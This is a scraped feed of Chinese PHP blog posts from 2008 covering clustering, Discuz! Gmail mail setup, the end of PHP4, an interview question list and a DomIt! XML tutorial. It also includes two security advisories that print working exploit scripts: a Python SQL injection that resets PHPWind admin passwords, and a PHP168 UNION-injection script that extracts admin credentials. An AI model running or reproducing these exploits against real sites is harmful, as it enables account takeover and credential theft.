当只有一台服务器时,文件上传不是一个问题。但是当我们有多台服务器时,那么上传的文件应该怎么存放呢?上传文件的问题和跨服务器php文件存储是类似的。下面是几种可能的方案:

  1. 把文件存储到数据库中 。大多数数据允许存储二进制数据。当你请求文件下载时,访问数据把二进制数据和相应的文件名和类型输出给用户。在使用这种方案前应该考虑数据库怎样存储你的文件。该方法的问题在于如果数据库服务器宕机将使文件不可用。
  2. 在一个文件服务器上存储上传的文件 . 与前面的介绍一样,你要安装一个文件服务器让所有web服务器共享,把所有上传的文件上传到这里,上传后所有的web服务器就都可以使用它。但是,如果文件服务器宕机,那么可能发生图像文件下载中断。
  3. 设计你自己的上传机制传输文件到服务器到每一个服务器 . 这个方法没有单个文件服务器或者数据库方案的缺陷,但是将增加你代码的复杂度。例如,如果上传到多个服务器过程中,服务器宕机,你要怎么处理?

用数据库存储上传文件但是设计一个文件缓存机制是一个不错的方案。当服务器接收一个文件下载请求时,首先检查缓存系统中是否有该文件,如果发现那么从缓存系统下载,否则从数据库读取并把它缓存到文件系统中。

3. 会话(Sessions)

如果你熟悉php的session处理,你将可能知道默认情况下,它存储session数据在服务器的临时文件里。而且,这个文件仅仅在 你请求处理的那个服务器上,但是接下来的请求可能被另外一个服务器处理,这将在另一个服务器上生成新的session。这导致session频繁地不被识 别,如登录用户总是要求重新登录。

我推荐的方案是,要么重新php内建的session处理机制存储session数据到数据库,或者实现你自己的机制保证发送一个用户的请求到同一台服务器。

4. 配置(Configuration)

尽管这个话题不是和php特别相关,我感觉还是有必要提及。当运行集群服务器时,用某种方法保持服务器之间的配置文件同步是一个好主意。如果配置文件不一致,可能导致一些非常奇怪的断断续续的行为导致很难排查这些问题。

我推荐使用版本控制系统单独管理他们。这样你可以为不同的项目安装存储不同的php配置文件,也可以保持所有服务器配置文件同步。

5. 日志(Logging)

像配置问题一样,logging不是仅仅和php相关。但是对于保持服务器健康运行它仍然是非常重要的。没有正确的logging系统,你怎么知道如果PHP代码开始产生错误(在系统正式运行时,你总是关闭display_errors 设置,不是吗?)

 

有几种方法你可以实现logging:

  1. 在每一个服务器上记录日志。 这是最简单的方法。每一个机器仅仅记录一个文件。好处是简单,可能只要很少的配置。但是,随着服务器数量的增多,监控每台服务器上的日志文件将变得非常困难。
  2. 记录日志到一个共享 这种方法每一个服务器仍然有这个日志文件,但是他们通过共享机制被存储在一个中央文件服务器上,这将使监控日志变得更简单。该方案的问题在于,如果文件服务器不可用将导致一个简单的日志不能写入问题最终导致整个应用崩溃。
  3. 记录日志到logging服务器 你可以使用一个logging软件,如syslog 来把所有的日志写到一个中央服务器。尽管这个方法要求更多的配置,但是他也提供了最健壮的方案。

phpv补充:还有比较重要的一点是数据库方面的管理,也许是涉及的内容比较多.所以作者没有写出来.
]]>
Discuz!论坛支持Gmail发信 http://www.phpv.net/html/1630.html http://www.phpv.net/html/1630.html#comment Tue, 07 Oct 2008 09:02:08 +0000 抽烟的蚊子 http://www.phpv.net/html/1630.html

Discuz!论坛其实是可以通过Gmail发送邮件的,而且Gmail的稳定性和易用性是有口皆碑的,比起国内的其他免费STMP服务商更加可靠。下面一步一步告诉你如何实现用Discuz!论坛支持Gmail发信。

第一步,检查OpenSSL
首先查看phpinfo,查看看PHP是否支持OpenSSL,看到下面的字样,或者图片就标示支持OpenSSL。一般现在的PHP都会默认支持的。
OpenSSL support enabled
OpenSSL Version OpenSSL 0.9.8b 04 May 2006
查看PHP是否支持OpenSSL

第二步,修改Discuz!代码
在include/sendmail.inc.php文件中查找
fsockopen($mail['server'], $mail['port'], $errno, $errstr, 30)
替换为
fsockopen(’ssl://’ .$mail['server'], $mail['port'], $errno, $errstr, 30)

第三步,修改Gmail设置
1.登录到您的 Gmail 帐户。
2.点击任一 Gmail 页顶部的设置。
3.点击橙色框邮件设置中的转发和 POP。
4.选择针对所有邮件启用 POP 或者针对从现在起开始接收的邮件启用 POP。
5.使用 POP 访问 Gmail 邮件后,选择您要对邮件采用的处理方式。

第四步,配置Discuz!邮件设置
邮件发送方式:选择“通过 SOCKET 连接 SMTP 服务器发送(支持 ESMTP 验证)”
SMTP 服务器:smtp.gmail.com
SMTP 端口:465
其他的就按照下图设置吧,
Discuz!论坛Gmail发送邮件设置

]]>
PHP 4最后一个版本发布 请系统管理员和开发者升级至PHP5 http://www.phpv.net/html/1623.html http://www.phpv.net/html/1623.html#comment Mon, 11 Aug 2008 19:57:24 +0000 抽烟的蚊子 http://www.phpv.net/html/1623.html PHP 4.4.9 随着最后一个版本的发布.PHP4从发布到现在8年时间,为无数网站提供服务,今天终于完成了使命.

PHP官方提供了多种升级的途径.但还是有很多系统因为代码兼容或其它原因没有升级到PHP5. 这是最后的机会了.

当然,对于那些实在不愿意升级到新版PHP的用户,PHP专家 Stefan Esser将通过Suhosin 项目继续为PHP 4.x系列提供第三方安全补丁.




]]>
PHP面试题汇总 http://www.phpv.net/html/1622.html http://www.phpv.net/html/1622.html#comment Thu, 07 Aug 2008 18:18:59 +0000 抽烟的蚊子 http://www.phpv.net/html/1622.html 这是一份比较全面的PHP面试题.对准备去新公司应聘PHP职位的开发者应该有帮助.
或者说,对招聘PHP开发人员的企业也有些帮助,不过就不要原样打印出来考了,稍微改一改.

  简述题(50分)

  1、用PHP打印出前一天的时间格式是2006-5-10 22:21:21(2分)

  2、echo(),print(),print_r()的区别(3分)

  3、能够使HTML和PHP分离开使用的模板(1分)

  4、使用哪些工具进行版本控制?(1分)

  5、如何实现字符串翻转?(3分)

  ---------------------------------------------------------------

  6、优化MYSQL数据库的方法。(4分,多写多得)

  7、PHP的意思(送1分)

  8、MYSQL取得当前时间的函数是?,格式化日期的函数是(2分)

  9、实现中文字串截取无乱码的方法。(3分)

  ---------------------------------------------------------------

  10、您是否用过版本控制软件? 如果有您用的版本控制软件的名字是?(1分)

  11、您是否用过模板引擎? 如果有您用的模板引擎的名字是?(1分)

  12、请简单阐述您最得意的开发之作(4分)

  13、对于大流量的网站,您采用什么样的方法来解决访问量问题?(4分)

  -----------------------------------------------------------------

  14、用PHP写出显示客户端IP与服务器IP的代码1分)

  15、语句include和require的区别是什么?为避免多次包含同一文件,可用(?)语句代替它们? (2分)

  16、如何修改SESSION的生存时间(1分).

  17、有一个网页地址, 比如PHP研究室主页: http://www.phpv.net/index.html,如何得到它的内容?($1分)

  18、在HTTP 1.0中,状态码401的含义是(?);如果返回“找不到文件”的提示,则可用 header 函数,其语句为(?);(2分)

  19、在PHP中,heredoc是一种特殊的字符串,它的结束标志必须?(1分)

  20、谈谈asp,php,jsp的优缺点(1分)

  21、谈谈对mvc的认识(1分)

  -------------------------------------------------------------------

  22、写出发贴数最多的十个人名字的SQL,利用下表:members(id,username,posts,pass,email)(2分)

  23. 请说明php中传值与传引用的区别。什么时候传值什么时候传引用?(2分)

  24. 在PHP中error_reporting这个函数有什么作用? (1分)

  25. 请写一个函数验证电子邮件的格式是否正确 (2分)

  26. 简述如何得到当前执行脚本路径,包括所得到参数。(2分)

  27.如何修改SESSION的生存时间. (1分)

  --------------------------------------------------------------------

  28、JS表单弹出对话框函数是?获得输入焦点函数是? (2分)

  29、JS的转向函数是?怎么引入一个外部JS文件?(2分)

  30、foo()和@foo()之间有什么区别?(1分)

  31、如何声明一个名为”myclass”的没有方法和属性的类? (1分)

  32、如何实例化一个名为”myclass”的对象?(1分)

  33、你如何访问和设置一个类的属性? (2分)

  34、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)

  --------------------------------------------------------------------

  35、GD库是做什么用的? (1分)

  36、指出一些在PHP输入一段HTML代码的办法。(1分)

  37、下面哪个函数可以打开一个文件,以对文件进行读和写操作?(1分)
  (a) fget() (b) file_open() (c) fopen() (d) open_file()

  38、下面哪个选项没有将 john 添加到users 数组中? (1分)
  (a) $users[] = ‘john’;
  (b) array_add($users,’john’);
  (c) array_push($users,‘john’);
  (d) $users ||= ‘john’;

  39、下面的程序会输入是否?(1分)
  $num = 10;
  function multiply(){
  $num = $num * 10;
  }
  multiply();
  echo $num;
  ?>

  40、使用php写一段简单查询,查出所有姓名为“张三”的内容并打印出来 (2分)
  表名 UserName Tel Content Date
     张三 13333663366 大专毕业 2006-10-11
     张三 13612312331 本科毕业 2006-10-15
     张四 021-55665566 中专毕业 2006-10-15
  请根据上面的题目完成代码:
  $mysql_db=mysql_connect("local","root","pass");
  @mysql_select_db("DB",$mysql_db);

  41、如何使用下面的类,并解释下面什么意思?(3)
  class test{
  function Get_test($num){
  $num=md5(md5($num)."En");
  return $num;
  }
  }

  ----------------------------------------------------------------------------

  42、写出 SQL语句的格式 : 插入 ,更新 ,删除 (4分)
  表名 UserName Tel Content Date
     张三 13333663366 大专毕业 2006-10-11
     张三 13612312331 本科毕业 2006-10-15
     张四 021-55665566 中专毕业 2006-10-15
  (a) 有一新记录(小王 13254748547 高中毕业 2007-05-06)请用SQL语句新增至表中
  (b) 请用sql语句把张三的时间更新成为当前系统时间
  (c) 请写出删除名为张四的全部记录

  43、请写出数据类型(int char varchar datetime text)的意思; 请问varchar和char有什么区别(2分)

  44、MySQ自增类型(通常为表ID字段)必需将其设为(?)字段(1分)

  45、写出以下程序的输出结果 (1分)
  $b=201;
  $c=40;
  $a=$b>$c?4:5;
  echo $a;
  ?>

  46、检测一个变量是否有设置的函数是否?是否为空的函数是?(2分)

  -----------------------------------------------------------------------------

  47、取得查询结果集总数的函数是?(1分)

  48、$arr = array('james', 'tom', 'symfony'); 请打印出第一个元素的值 (1分)

  49、请将41题的数组的值用','号分隔并合并成字串输出(1分)

  50、$a = 'abcdef'; 请取出$a的值并打印出第一个字母(1分)

  51、PHP可以和sql server/oracle等数据库连接吗?(1分)

  52、请写出PHP5权限控制修饰符(3分)

  53、请写出php5的构造函数和析构函数(2分)

  ------------------------------------------------------------------------------

  54、以下请用PHPMYADMIN完成

  (一)创建新闻发布系统,表名为message有如下字段 (3分)
  id 文章id
  title 文章标题
  content 文章内容
  category_id 文章分类id
  hits 点击量

  (二)同样上述新闻发布系统:表comment记录用户回复内容,字段如下 (4分)
  comment_id 回复id
  id 文章id,关联message表中的id
  comment_content 回复内容
  现通过查询数据库需要得到以下格式的文章标题列表,并按照回复数量排序,回复最高的排在最前面
  文章id 文章标题 点击量 回复数量
  用一个SQL语句完成上述查询,如果文章没有回复则回复数量显示为0

  (三)上述内容管理系统,表category保存分类信息,字段如下 (3分)
  category_id int(4) not null auto_increment;
  categroy_name varchar(40) not null;
  用户输入文章时,通过选择下拉菜单选定文章分类
  写出如何实现这个下拉菜单


  填空题

  1.在PHP中,当前脚本的名称(不包括路径和查询字符串)记录在预定义变量____中;而链接到当前页面的URL记录在预定义变量____中。

  2.执行程序段将输出____。

  3.在HTTP 1.0中,状态码 401 的含义是____;如果返回“找不到文件”的提示,则可用 header 函数,其语句为____。

  4.数组函数 arsort 的作用是____;语句 error_reporting(2047)的作用是____。

  5.PEAR中的数据库连接字符串格式是____。

  6.写出一个正则表达式,过虑网页上的所有JS/VBS脚本(即把scrīpt标记及其内容都去掉):____。

  7.以Apache模块的方式安装PHP,在文件http.conf中首先要用语句____动态装载PHP模块,然后再用语句____使得Apache把所有扩展名为php的文件都作为PHP脚本处理。

  8.语句 include 和 require 都能把另外一个文件包含到当前文件中,它们的区别是____;为了避免多次包含同一文件,可以用语句____来代替它们。

  9.类的属性可以序列化后保存到 session 中,从而以后可以恢复整个类,这要用到的函数是____。

  10.一个函数的参数不能是对变量的引用,除非在php.ini中把____设为on.

  11.SQL中LEFT JOIN的含义是____。如果 tbl_user记录了学生的姓名(name)和学号(ID),tbl_score记录了学生(有的学生考试以后被开除了,没有其记录)的学号(ID)和 考试成绩(score)以及考试科目(subject),要想打印出各个学生姓名及对应的的各科总成绩,则可以用SQL语句____。

  12.在PHP中,heredoc是一种特殊的字符串,它的结束标志必须____。

  编程题

  

  1. 写一个函数,尽可能高效的,从一个标准 url 里取出文件的扩展名
  例如: http://www.sina.com.cn/abc/de/fg.php?id=1 需要取出 php 或 .php

  2. 在 HTML 语言中,页面头部的 meta 标记可以用来输出文件的编码格式,以下是一个标准的 meta 语句
  请使用 PHP 语言写一个函数,把一个标准 HTML 页面中的类似 meta 标记中的 charset 部分值改为 big5
  请注意:
  1. 需要处理完整的 html 页面,即不光此 meta 语句
  2. 忽略大小写
  3. ' 和 " 在此处是可以互换的
  4. 'Content-Type' 两侧的引号是可以忽略的,但 'text/html; charset=gbk' 两侧的不行
  5. 注意处理多余空格

  3. 写一个函数,算出两个文件的相对路径
  如 $a = '/a/b/c/d/e.php';
  $b = '/a/b/12/34/c.php';
  计算出 $b 相对于 $a 的相对路径应该是 ../../c/d将()添上

      3.写一个函数,能够遍历一个文件夹下的所有文件和子文件夹。

  4.简述论坛中无限分类的实现原理。

]]>
phpwind任意修改管理员密码漏洞 http://www.phpv.net/html/1620.html http://www.phpv.net/html/1620.html#comment Tue, 05 Aug 2008 23:03:46 +0000 抽烟的蚊子 http://www.phpv.net/html/1620.html

漏洞:PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可 以直接修改管理员的密码进入后台,取得管理员权限。

漏洞厂商:http://www.phpwind.net

漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html, 但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该 漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化 的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:


function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}

甚至不用注册账户,只要精心构造username即可利用此漏洞。

漏洞利用:80sec提供exploit如下:


import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv

data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”

print “rnrnPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1rn"

print "rn[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"

except:
print "[-]Exploit Failed"

漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html

]]>
PHP 168 SQL注射漏洞 http://www.phpv.net/html/1612.html http://www.phpv.net/html/1612.html#comment Sat, 19 Jul 2008 00:53:30 +0000 admin http://www.phpv.net/html/1612.html 漏洞说明:历经数年开发与完善的”PHP168整站系统”是国内最早的多功能模块化 网站管理软件系统;不仅适合于建设一般的企业、政府、学校、个人等小型网站,同时也适合于建设地区门户、行业门户、收费网站等大中型网站,80sec在其 产品中发现了一个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

漏洞厂商:http://www.php168.com

漏洞解析:在系统的jsarticle.php中,使用了urldecode用来解码用户提交的数据,但是在使用该函数之后并没有做进一步的有效性验证,从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护,漏洞部分代码如下:


elseif($type=='like')
{

$SQL.=" AND aid!='$id' ";

if(!$keyword)
{
extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article WHERE aid='$id'"));
}

if($keyword){
$SQL.=" AND ( ";
$keyword=urldecode($keyword);
$detail=explode(" ",$keyword);
unset($detail2);
foreach( $detail AS $key=>$value){
$detail2[]=” BINARY title LIKE ‘%$value%’ “;
}
$str=implode(” OR “,$detail2);
$SQL.=” $str ) “;
}else{
$SQL.=” AND 0 “;
}

$ORDER=’ list ‘;
}

if(!$webdb[viewNoPassArticle]){
$SQL.=’ AND yz=1 ‘;
}

$SQL=” WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows”;
$which=’*';
$listdb=list_article($SQL,$which,$leng);

keyword被urldecode然后进入list_article函数,提交%2527将导致一个’进入SQL查询

在artic_function.php中的list_article函数如下


function list_article($SQL,$which='*',$leng=40){
global $db,$pre;
$query=$db->query("SELECT $which FROM {$pre}article $SQL");
while( $rs=$db->fetch_array($query) ){
if($rs[mid]){
$_rss=$db->get_one(”SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid=’$rs[aid]‘ LIMIT 1″);
$_rss && $rs=$rs+$_rss;
}
$rs[content]=@preg_replace(’/<([^<]*)>/is’,”",$rs[content]); //把HTML代码过滤掉
//如果文章有短标题,将以此显示在文章列表
if($rs[smalltitle]){
$title=$rs[smalltitle];
}else{
$title=$rs[title];
}
$rs[title]=get_word($rs[full_title]=$title,$leng);
if($rs[titlecolor]||$rs[fonttype]){
$titlecolor=$rs[titlecolor]?”color:$rs[titlecolor];”:”;
$font_weight=$rs[fonttype]==1?’font-weight:bold;’:”;
$rs[title]=”$rs[title]“;
}
$rs[posttime]=date(”Y-m-d”,$rs[full_posttime]=$rs[posttime]);
if($rs[picurl]){
$rs[picurl]=tempdir($rs[picurl]);
}
$listdb[]=$rs;
}
return $listdb;
}

直接进入SQl查询,导致注射漏洞的产生。

漏洞利用:80sec提供攻击测试代码如下:


#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Php168 v2008 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V2008"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to php168
Example:
php '.$argv[0].' localhost /php168/
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('/([a-z0-9]+)_article/', $resp, $pre);

if ($pre)
$resp = send();
else
exit("Exploit Failed!\n");

preg_match('/content_([\S]+)\|([a-z0-9]{32})/', $resp, $pwd);

if ($pwd)
exit("Expoilt Success!\nadmin:\t$pwd[1]\nPassword(md5):\t$pwd[2]\n");
else
exit("Exploit Failed!\n");

function send()
{
global $host, $path, $pre;

if ($pre)
$cmd = 'type=like&keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/'.$pre[1].'_members/**/WHERE/**/uid=1%23';
else
$cmd = 'type=like&keyword=%2527';

$message = "POST ".$path."jsarticle.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

漏洞状态:已经通知php168官方,官方已经发布补丁。

]]>
用 DomIt! 做简单的 XML 处理工作 http://www.phpv.net/html/1608.html http://www.phpv.net/html/1608.html#comment Wed, 18 Jun 2008 14:23:15 +0000 admin http://www.phpv.net/html/1608.html --感谢Leo的投递


有一次我拿到了个处理 XML 文件的活儿。这个 XML 文件是用来跟 Flash mp3 播放器做通信使用的,包含了音乐的地址、描述等。我需要做的仅仅是让管理员可以通过一个表单完成添加、删除音乐项并更新 XML 文件。听起来很简单吧?但我却在做删除功能时遇到了麻烦。在我花了无数时间抓耳挠腮想办法、搜索、翻阅官方 PHP 文档里关于 DOM XML 的内容时,DomIt! 及时地出现了(其实是我及时地找到了)。DomIt! 非常的强大、易用(至少拿来做简单的处理工作时)、兼容 PHP4,并且在愿意细读它的源代码时帮助你快速地学好 DOM XML。

当时需要的 XML 文件为如下格式:

<?xmlversion="1.0"?>
<audio>
<file>
<track>音乐文件位置</track>
<caption>音乐文件标题</caption>
<record>音乐录制信息</record>
</file>
</audio>

当然,这个 XML 文件在我接这活儿的时候已经预先给了。但我想使用 DomIt! 创建这样的一个文件作为本系列的第一部分内容,同时也是为了展示 DomIt! 的强大和易用。

首先我们要做的是调用 DomIt! 的库文件(到这里,下载、解压 DomIt! 库并将所有的文件放入与下面将要创建的程序文件相同的目录),并创建一个 DomIt! 文档实例:

require_once('xml_domit_include.php');
$xmlDoc=&newDOMIT_Document();// 文档实例

注意“&”符号是用来兼容 PHP4 的。

这样我们就准备好一个实例可以按需使用了。看到 XML 文件内容中的第一行了么?没错,我们要添加 XML 的文件声明:

$xmlDecl=&$xmlDoc->createProcessingInstruction('xml','version="1.0"');
$xmlDoc->appendChild($xmlDecl);

在这我们可以看到声明信息也被当作是一个子节点做处理,也算是合理的定义。但这里我们可以发现 createProcessingInstruction() 方法存在一个明显的缺点——只有两个声明参数(通常我们可能还会定义编码之类的 XML 声明信息)。幸运的是我们使用的是一个开源的库,也就是说我们可以轻易地将它修改定制以满足要求。如果你实在需要帮助来修改这个特定的方法以添加足够的 XML 文件声明信息(如编码等),我将在本系列的最后一篇中加以介绍。

让我们回到正题。完成 XML 文件声明部分后,我们在 XML 文件内容中看到的是“audio”标签。它是这个 XML 文件中的根元素(根节点)。让我们来创建这部分:

$rootElement=&$xmlDoc->createElement('audio');
$xmlDoc->appendChild($rootElement);

你不需要担心标签关闭的问题,DomIt! 已经完全替你做好了。利用类似的方法,我们将建立“audio”的子节点——“file”元素;在“file”元素内,还包含了几个姊妹元素“track”、“caption”和“record”及它们的文字内容。既然创建它们时都要用到一个主要的方法 appendChild(),我们可以归纳到一起说:

// "file" 元素
$fileElement=&$xmlDoc->createElement('file');

// "track" 元素
$trackElement=&$xmlDoc->createElement('track');
// 增加"track"元素的文本内容
$trackElement->appendChild($xmlDoc->createTextNode('音乐文件位置'));
// 添加到"file"元素中去
$fileElement->appendChild($trackElement);

// "caption" 元素,其他同"track"
$captionElement=&$xmlDoc->createElement('caption');
$captionElement->appendChild($xmlDoc->createTextNode('音乐文件标题'));
$fileElement->appendChild($captionElement);

// "record" 元素,其他同"track"
$recordElement=&$xmlDoc->createElement('record');
$recordElement->appendChild($xmlDoc->createTextNode('音乐录制信息'));
$fileElement->appendChild($recordElement);

就像之前说的,核心部分是 appendChild() 方法。在不同的实例上调用它就可以起到不同的作用(这就是面向对象)。如果你用 appendChild() 将“track”元素添加进“audio”,那“file”和“track”就变成姊妹节点了。

完成创建所有节点的工作后,我们需要将这些内容添加进“audio”元素,或许你还想将最后的内容输出到屏幕上查看、以及保存到真正的 XML 文件中去:

// 添加所有"file"元素里的内容到"audio"里
$rootElement->appendChild($fileElement);
// 在屏幕上(网页)打印出来
echo$xmlDoc->toNormalizedString(true);
// 将文档实例保存进一个真正的 XML 文件中
$xmlDoc->saveXML('audio.xml',true);

然后在屏幕上(浏览器中),你可以看到:

<?xmlversion="1.0"?>
<audio>
<file>
<track>音乐文件位置</track>
<caption>音乐文件标题</caption>
<record>音乐录制信息</record>
</file>
</audio>

与给我的文件内容一模一样。这就是《用 DomIt! 做简单的 XML 处理工作》第一部分的结尾。下一篇,我将谈谈如何修改我们刚刚创建的 XML 文件,包括对内容的添加、删除和编辑。

哦,我还忘了给你们一个 DomIt! 明显的下载链接(我知道可能你们很多人已经 Google 出来了):http://sourceforge.net/projects/domit-xmlparser/

到这里下载一份 DomIt!,并且可以在下一篇出炉前读读它的文档。 ]]>